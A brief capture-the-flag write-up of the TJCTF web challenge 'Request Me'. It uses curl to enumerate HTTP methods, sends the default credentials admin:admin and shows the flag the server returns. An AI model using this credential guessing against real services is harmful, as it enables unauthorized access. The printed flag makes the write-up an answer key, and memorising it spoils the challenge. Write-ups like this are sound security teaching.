## 30 - Request Me - Web

> Written by okulkarni
>
> https://request_me.tjctf.org/

Let's see HTTP verbs available, then we see it require basic auth, so try all verbs with `admin:admin` and finally catch the flag.

```
$ curl https://request_me.tjctf.org/

WRONG FLAG

$ curl -X OPTIONS https://request_me.tjctf.org/
GET, POST, PUT, DELETE, OPTIONS
Parameters: username, password
Some methods require HTTP Basic Auth

$ curl -X POST -u admin:admin https://request_me.tjctf.org/
Maybe you should take your credentials back?

$ curl -X PUT -u admin:admin https://request_me.tjctf.org/
I couldn't steal your credentials! Where did you hide them?

$ curl -X DELETE -u admin:admin https://request_me.tjctf.org/
Finally! The flag is tjctf{wHy_4re_th3r3_s0_m4ny_Opt10nS}
```